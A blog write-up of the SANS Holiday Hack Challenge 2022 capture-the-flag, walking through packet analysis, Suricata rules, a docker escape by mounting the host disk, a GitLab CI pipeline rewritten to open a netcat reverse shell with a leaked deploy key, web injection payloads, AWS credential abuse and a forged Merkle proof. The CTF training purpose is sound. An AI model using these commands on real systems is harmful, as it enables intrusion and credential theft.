SANS Holiday Hack Challenge 2022 Writeup


Posted on January 16, 2023


Thanks a lot like every year for this great challenge!

Following my solutions.


1 - KringleCon Orientation

Talk to Jingle Ringford

You can talk to him directly at the entrance:

Jingle Ringford

Get your badge

When you talk to Jingle Ringford he will give you your first badge:

Get your badge

Create a wallet

To create a wallet click on the machine labeled “KTM”:


Click on “Click here when you’re ready to proceed”. After that you will get 5 coins and a wallet is created for you. Note down your wallet address and secret key.

Use the terminal

Click at the terminal next to Jingle Ringford:


Follow the instructions, click in the upper pane, type “answer” and press Enter:

Answer enter

Talk to Santa

Go through the open door. In the next room you will find Santa with whom you can talk:


2 - Recover the Tolkien Ring

Enter the round door between the red KringleCon flags. Go down the ladder. Move to the right and down the next ladder. If you look to the right you can enter the Tolkien Ring.

Wireshark Practice


0 This all started when I clicked on a link in my email.
Can you help me?
-> Enter
1 There are objects in the PCAP file that can be exported by
Wireshark and/or Tshark. What type of objects can be exported from
this PCAP?
-> smb,http
2 What is the file name of the largest file we can export?

Click at “File” -> “Export Objects” and check which Objects you can export

export objects

Look into the size it’s 808 kB for app.php.

-> app.php
3 What packet number starts that app.php file?

Look again in the export window. The first row contain the packets. app.php 808 kB starts at packet number 687.

-> 687
4 What is the IP of the Apache server?

Filter for “http”. Look for how the traffic flows between requests and responses. There you can find the answer:

Get IP of apache server

5 What file is saved to the infected host?

Find this, if you export HTTP objects and therefore get files. If you do a cat app.php on this file you get this at the end:

File to find

5 Attackers used bad TLS certificates in this traffic. Which
countries were they registered to? Submit the names of the
countries in alphabetical order separated by commas (Ex: Norway,
South Korea)

Look into ssl.handshake == 2, and right click „follow tcp stream“ at the entries. In the stream you can find country entries. Aggregate and order them

wireshark stream cert

-> Israel, South Sudan, USA
7 Is the host infected (Yes/No)?
-> Yes

Find the next objective

Go a little bit more to the right in this room to find Fitzy Shortstack nearly at the end of the room to get the next objective.

Next objectives

Suricata Regatta


1 Please create a Suricata Rule to catch DNS Lookups for
Whenever there's a match, the alert message(msg) should read
Known bad DNS lookup, possible Dridex infection

You can consult Understanding Suricata Signatures. This delivers:

-> alert dns any any -> any any (msg:"Known bad DNS lookup,
possible Dridex infection"; dns.query; content:
""; nocase; sid: 1000001; rev:1;)
2 Develop a Suricata rule that alerts whenever the infected IP
address communicates with internal systems over
When there's a match, the message (msg) should read "Investigate
suspicious connections, possible Dridex infection"
-> alert http any <> $HOME_NET any (msg:"Investigate
suspicious connections, possible Dridex infection"; sid:1000002;
rev:1; )
3 We heard that some naughty actors are using TLS certificates
with a specific CN.
Develop a Suricata rule to match and alert on an SSL certificate
When your rule matches, the message (msg) should read "Investigate
bad certificates, possible Dridex infection"
-> alert tls any any <> any any (msg:"Investigate bad certificates,
possible Dridex infection"; tls.cert_subject;
content:""; sid:1000003; rev:1; )
4 OK, one more to rule them all and in the darkness find them.
Let's watch for one line from the JavaScript: "let byteCharacters
= atob"
Oh, and that string might be GZip compressed - I hope that's OK!
Just in case they try this again, please alert on that HTTP data
with message "Suspicious JavaScript function, possible Dridex
-> alert http any any <> any any (msg:"Suspicious JavaScript
function, possible Dridex infection";http.response_body;
content:"let byteCharacters = atob"; sid: 1000004; rev:1;)

3 - Recover the Elfen Ring

Leave the tolkien ring room, go to the left, down the ladder and to the left. Enter the “Elfen Ring room”

Clone with a Difference

With the boat you can go the the right to find this objective. You can use the hint The name of the repo is “aws_script.git”. You can google „haugfactory aws_scripts git“ and you will find a gitlab repository. Here click on “clone” and use the http url, after that you can clone the repo:


Clone tail readme

If you look in the end of the file with tail you will find the last word which is “maintainers”. This you can enter after typing runtoanswerö to solve the objective.

Find the Next Objective

After solving the last point talk again to Bow Ninecastle to get the next badge.

Get the next badge

Prison Escape

Go with the boat further right, up the stone way and enter the “Elf House”. Here you will find the next challenges.

First look into the systems shows .dockerenv, so you know you are in a docker container:


To escape this docker you can do:

sudo bash

to get root privileges inside the container.

With that look for devices at the system:

fdisk -l

So there is one disk /dev/vda which you can mount to get access to the host system:

mkdir /mnt/hola
mount /dev/vda /mnt/hola
cd /mnt/hola

Look what you can find here:

In /home/jailer/.ssh/jail.key.priv you can find the solution:

Solution Prison Escape

So the answer is 082bb339ec19de4935867.

Find the Next Objective II

Talk to Tinsel Upatree next to the terminal “Prison Escape” again to get the badge.

Tinsel Upatree Next Objectives II

Jolly CI/CD

In the same room find Rippin Proudboot with the Jolly CI/CD challenge. Here you start in “grinchum-land” and you get a hint from Tinsel Upatree:

Tinsel Upatree Git

This means try to clone this git repo. Let’s do it (you have to wait some minutes until everything is prepared in the system, so try to ping it until the server is there):


After that clone the repo:

git clone

Go into the repository:


Check the logs:

git log

Git log whoops

There you can find an interesting log entry “whoops”.

Check out the commit:

git checkout e19f653bde9ea3de6af21a587e41e7a909db1ca5

and do a

git show

Git Show private key

Oh, there is a private key!

Copy this in a safe folder before going back to the last commit. Remember from the logs the entry update the This file can be found at the root at .gitlab-ci.yml.

mkdir ~/ssh
cp .ssh/.* ~/ssh

Go back to the last commit:

git checkout main

Now try to change the gitlab conf file to check if you can execute cde at the gitlab runner server since the config file runs each time a commit is done. Look again in the comment above from Tinsel Upatree, he told this:

With this project, once I push a commit, a GitLab runner will automatically deploy the changes to production

First let’s try to just add a file and push it:

touch a
git add a
git commit -m "push test"

Git Push Test

You have to enter a name and an e-mail so we do that. It doesn’t matter what values are in there:

git config --global ""
git config --global "Your Name"

Do the commit again:

git commit -m "push test

Git commit again

Try to push it:

git push main

Git push origin main

So it’s not possible. You have to set the user corresponding to the private key you found. You can achieve this using a ssh config file:

mkdir ~/.ssh
vim /home/samways/.ssh/config


Host gitserv
    IdentityFile /home/samways/ssh/.deploy
    IdentitiesOnly yes

Set the origin in the git repo to this new config entry:

git remote remove origin
git remote add origin

Let’s find a reverse shell. First find out what is running at the gitlab-runner server. For this you can use an html file. The last line rsync command copies a created html file automatically to the root of the web server. So for that to do enter this before the rsync command:

echo $(ls /usr/bin) > test.html

Push it and request the html file from the server:

curl -L

This delivers:

awk basename bc beep blkdiscard bunzip2 bzcat bzip2 c_rehash cal
chvt cksum clear cmp comm cpio crontab cryptpw cut dc deallocvt
diff dirname docker-machine dos2unix du dumb-init eject env expand
expr factor fallocate find flock fold free fuser
getconf getent git git-lfs git-receive-pack git-shell git-upload-
archive git-upload-pack gitlab-ci-multi-runner gitlab-runner
groups hd head hexdump hostid iconv id install ipcrm ipcs killall
last ldd less logger lsof lsusb lzcat lzma lzopcat md5sum mesg
microcom mkfifo mkpasswd nc nl nmeter nohup nproc nsenter nslookup
od openssl openvt passwd paste pgrep pkill pmap posixtz printf
pscan pstree pwdx readlink realpath renice reset resize rsync
rsync-ssl scanelf scp seq setkeycodes setsid sftp sha1sum
sha256sum sha3sum sha512sum showkey shred shuf sort split ssh ssh-
add ssh-agent ssh-copy-id ssh-keygen ssh-keyscan ssh-pkcs11-helper
ssl_client strings sum tac tail tee test time timeout top tr
traceroute traceroute6 truncate tty ttysize udhcpc6 unexpand uniq
unix2dos unlink unlzma unlzop unshare unxz unzip uptime uudecode
uuencode vi vlock volname wc wget which who whoami whois xargs
xmlwf xxd xzcat yes

And there you can find nc, but this is not a netcat which can do -e /bin/bash so you have to use backpipes or other methods to pipe in a shell. An example can be found here.

Now you can push a reverse shell in the .gitlab-ci.yml file. Start tmux, set up two panes with the shortcut Ctrl+B+” and start a netcat listener:

nc -nlvp 4444

Switch to the other pane using tmux: Ctrl+B+o

Change the content to the following using vim .gitlab-ci.yml:

cat .gitlab-ci.yml 
  - deploy

  stage: deploy 
  environment: production
    - mknod /tmp/backpipe p
    - /bin/sh 0</tmp/backpipe | nc 4444 1>/tmp/backpipe
    - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./

gitlab yml

After that you have a reverse shell to the system (you can switch it to fullscreen with Ctrl+b+z) . To find the ring you can use the information found in the rsync command. There is a private key referenced. So take this to execute commands directly at the web server. The flag can be found at /flag.txt. Cat the file and you can find the solution:


solution jolly cicd

Enter the solution oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT in the objective text field to solve the challenge.

4 - Recover the Web Ring

To find the Web ring leave the Elfen Ring, go to right, down the ladder between the candy canes and to the right.

Naughty IP

You can find the solution if you search for the most log entries:

IP log entries

After entering the IP you will get 5 coins and the badge.

Credential Mining

You have to search in the brute force of the login to find the first username tried. If you search for www- form in the pcap file you can find the username:

Credential Mining

It’s alice

404 FTW

You can search in the weberror.log for successful calls with a 200 HTTP code. The first successful is proc:

404 FTW

IMDS, XXE, and Other Abbreviations

The URL can be found using filter at proc and going through the different tcp streams:

Imds XXE and other abbreviations

Find the Next Objective

You can find Alabaster Snowball in the middle of the room. Talk to him again:

Alabaster Snowball

Open Boria Mine Door





Here you have to use HTML and you can use Cascading Style Sheets inside the tag:

<b style="font-size:130px">&#9608;&#9608;&#9608;</b>


Here you need JavaScript to set Cascading Style Sheets:



At this point the first square brackets are stripped and also the first double quotes. So we just double it:



Here you have to use a web application proxy like Portswigger Burp to change the POST content:

<script>"red"; = "0.90em";</script><font
size="6"><br><br><br><br>&#160&#160&#160&#160&#160&#160&#160&#160&#160&&#9608&#9608;&#9608;</font><br><font size="6">&#160&#160&#160&#160&#160&#160&#9608&#9608&#9608</font><br><font size="7">&#160&&W</font><font color="blue"size="5">&#160&#160&#160&#160&#160&&#9608&#9608&#9608</font><br><font size="6">&#160@</font><font color="blue" size="6">&#160&#160&#160&#160&#160&#9608&#9608&#9608</font><br><fo
nt size="8">&#9608</font><font color="blue" size="6">&#160&#160&#160&#9608&#9608&#9608</font><br><font size="8">&#9608</font><font color="blue" size="7">&#160&#9608</font><br><font color="blue" size="6">&#160&#160&#160&#9608</font><br><font color="blue" size="6">&#160&#160&#9608&#9608</font>


The last one can be done if you use scalable vector graphics:

<svg nmlns="" style="border:1px solid #ddd;" width="300" height="300" viewBox="0 -5 80 30"><path d="M -15 -21 L 180 -21" stroke="rgb(0,255,0)" stroke-width="6"/>
<path d="M -15 -12 L 180 19" stroke="red" stroke-width="6"/>
<path d="M -15 -2 L 80 25" stroke="blue" stroke-width="6"/></svg>

Boria Mine 6 Burp 1

In Burp right click:

Convert selection -> URL -> URL-encode all characters

Boria Mine Burp 2

Click: Forward to forward the request to the server in the changed format

Boria Mine 6 solution

5 - Recover the Cloud Ring

To find the Cloud Ring leave the Web Ring go to left, down the ladder, right and to the left:


This is the challenge which can be found next to Jill Underpole.

AWS CLI intro Jill Underpole


1 You may not know this, but AWS CLI help messages are very easy
to access. First, try typing aws help
-> aws help
2 Great! When you're done, you can quit with q.
Next, please configure the default aws cli credentials with the
access key AKQAAYRKO7A5Q5XUY2IY, the secret key
qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1.
-> aws configure
AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
Default region name [None]: us-east-1
Default output format [None]: <Enter>

AWS CLI aws configure

3 Excellent! To finish, please get your caller identity using the
AWS command line. For more details please reference:
$ aws sts help
or reference:
-> aws sts get-caller-identity
"Account": "602143214321",
"Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
4 Great, you did it all!

Find the Next Objective

Talk again to Jill Underpole next to the terminal

Gerty Snowburros gives you a link to a git repo

The URL which can be cloned can be found if you click “Clone” at

trufflehog gitlab clone

Install and use trufflehog to examine and find the solution:

trufflehog result

The file which has AWS credentials - the solution - is

Find the Next Objective II

To find Gerty Snowburrow go in the middle of the room directly below the clock. Go up the ladder and to the left behind the terminal and up again:

find the next objectives II

Gerty Snowburrow

Exploitation via AWS CLI

exploit AWS Sulfrod

Open the terminal next to Sulfrod.

1 Use Trufflehog to find credentials in the Gitlab instance at
Configure these credentials for us-east-1 and then run:
aws sts get-caller-identity


trufflehog git

exploit AWS find

Remember the Access Key, git commit and file from the results.
Clone the repo:

git clone

exploit AWS git clone

Change into the directory:

cd aws_scripts

Checkout the commit with the Access Key:

git checkout 106d33e1ffd53eea753c1365eafc6588398279b5

Display the content of put_policy:

Solve the challenge

Enter aws configure and the AWS Key ID, Secret Access Key and the region name mentioned above in the description us-east-1:

aws configure
AWS Secret Access Key [None]: e95qToloszIgO9dNBsQMQsc5/foiPdKunPJwc1rL
Default region name [None]: us-east-1
Default output format [None]: <Enter>
aws sts get-caller-identity <Enter>
2 Managed (think shared) policies can be attached to multiple
users. Use the AWS CLI to find any policies attached to your user.
The aws iam command to list attached user policies can be found here:
Hint: it is NOT list-user-policies.

Use the given link, search with Ctrl+F for “user-pol”.

exploit AWS list attached user policies The command is aws iam list-attached-user-policies:

aws iam list-attached-user-policies --user-name haug

exploit AWS list attached user policies console

3 Now, view or get the policy that is attached to your user.
The aws iam command to get a policy can be found here:

Use the link to find get-policy:

exploit AWS search get policy

Take the ARN from the result before:

aws iam get-policy --policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"

result exploit AWS iam get policy

4 Attached policies can have multiple versions. View the default version of this policy.
The aws iam command to get a policy version can be found here:

In the link you can find get-policy-version:

exploit AWS search get policy version

aws iam get-policy-version --policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" --version-id v1

exploit AWS result get policy version

5 Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user. 
The aws iam command to list user policies can be found here:
Hint: it is NOT list-attached-user-policies.

The link gives you list-user-policies

aws iam list-user-policies --user-name haug

exploit AWS result list_user_policies

6 Now, use the AWS CLI to get the only inline policy for your user. 
The aws iam command to get a user policy can be found here:

With the help of the link enter:

aws iam get-user-policy --user-name haug --policy-name S3Perms

exploit_AWS get_user_policy_inline

7 The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects. 
List those objects! 
The aws s3api command to list objects in an s3 bucket can be found here:

The last answer gives you smogmachines3 andthe link gives you:

aws s3api list-objects --bucket smogmachines3

exploit AWS result_s3api_list_objects

8 The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions.
The aws lambda command to list functions can be found here:
aws lambda list-functions

exploit_AWS aws lambda list_functions

9 Lambda functions can have public URLs from which they are directly accessible.
Use the AWS CLI to get the configuration containing the public URL of the Lambda function.
The aws lambda command to get the function URL config can be found here:
aws lambda get-function-url-config --function-name smogmachine_lambda

exploit AWS aws_lambda_get_function_url_config

10 Great, you did it all - thank you!

6 - Recover the Burning Ring of Fire

To find this room leave the cloud ring, go to the right, go down the ladder and to the left.

Buy a Hat

At the right you will find Wombley Cube and its Vending Machine.

Buy a Hat Wombley Cube

The Hat Vending Machine gives you a target address and price when you click at a hat:

Buy a Hat Choose a Hat

Go to the right to the KTM:

Buy a Hat KTM

Click “Approve a KringleCoin transfer”, enter the target address, 10 KTC and your secret key. The secret key is the key you have noticed at the beginning. Click at “Approve Key”. After that go back to the Hat Vending Machine. Press “Approved a transaction? Know your Hat Id? Click here to buy”. Enter your wallet address, the hat id you want and buy it with “Make your purchase!”.

Blockchain Divination

If you go down the ladder and completey to the right you can find the “Blockchain Explorer”:

Blockchain Explorer Slicmer

Enter “1” to get more up in the Merkle Tree.

In the cell “contract address” or “to” you can find at what address the smart contract was deployed.

Blockchain Explorer Contract Address

Exploit a Smart

The challenge is

Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.

Open the website to the Bored Sporc Rowboat Society Pre Sale:


If you look into the source code you find the root hash of the Merkle tree:


So if we intercept the request after clicking “Go!” you have 3 values:

WalletID, Root as well as Proof. And you can set Validate to true or false. All the values needed to calculate a chain in the Merkle Tree.

If you clone Build the dockerfile


Run it:

«pre>sudo docker run -it --rm --name=merkletrees merkletrees </pre>

If you start it you can see:

docker run merkletree

In the file there is the following <a href=”>line</a> (look into it for example using vim


Change the first value to your wallet address. Run the program again and you get a new root and proof.

All the 3 values wallet id, root hash and proof hash you can now enter in the intercepted request forward it and you have solved the challenge:




Hidden treasure chests

To find hidden coins you can go: